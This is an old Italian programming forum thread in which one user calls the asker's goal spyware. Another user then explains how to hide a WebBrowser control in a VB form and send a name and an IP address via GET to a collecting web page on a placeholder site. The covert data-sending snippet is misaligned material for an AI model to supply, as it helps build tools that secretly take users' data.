08/09/10 13:27
HeDo
quello che vuoi realizzare si chiama spyware.
aaa
08/09/10 20:29
blackboss
Postato originariamente da HeDo:
quello che vuoi realizzare si chiama spyware.
Sperando che tu non voglia creare veramente uno spyware, il modo più semplice è questo, anche se non è il modo più sicuro, perché i dati vengono passati tramite il metodo GET.
Se conosci l'html sicuramente saprai come funziona il metodo GET, in caso contrario potrai non capire quello che ti spiego
inserisci un controllo WebBrowser nel form e imposta la proprietà visible su false:
WebBrowser1.Visible = False
ora crea una o più variabili di tipo string e assegnali come nome il tipo di dato (es. Nome, Cognome...) i dati che vuoi inviare e come valore il dato (ad esempio Pippo, mario o l'IP)
Dim nome as String
Dim indip as String
nome = "Mario"
indip = "192.xxx.xx.xxx"
A questo punto hai due variabili una col nome e una con l'ip.
Ora devi inviarle tramite il metodo get. Per cui creiamo una variabile chiamata parametri, che appunto conterrà i parametri da inviare:
Dim parametri as String
parametri = "?nome=" & nome & "&indip=" & indip
Ora non resta altro che far navigare il all'indirizzo del tuo sito con i dati:
WebBrowser1.Navigate(New System.Uri("http://www.miosito.it/request.php" & parametri))
Devi sostituire a "
miosito.it/…; l'indirizzo della pagina php o asp che riceverà i dati.
QUELLO CHE IL TUO SITO RICEVERA' SARA' QUESTO:
miosito.it/…
A questo punto la tua pagina web puo' raccogliere i dati inviati con GET e compiere le azioni che vuoi tu.
Se non sai come ricevere i dati tramite get con PHP, guarda questo sito:
howtoprog.com/guide/php/guida-completa-a-php/passare-i-dati-via-get-e-via-post/
Ultima modifica effettuata da blackboss 08/09/10 20:31
aaa
09/09/10 9:36
HeDo
l'unico appunto su quello che hai detto, a parte la grammatica, è sul fatto che gli eseguibili vb6 sono normalmente molto piccoli.
aaa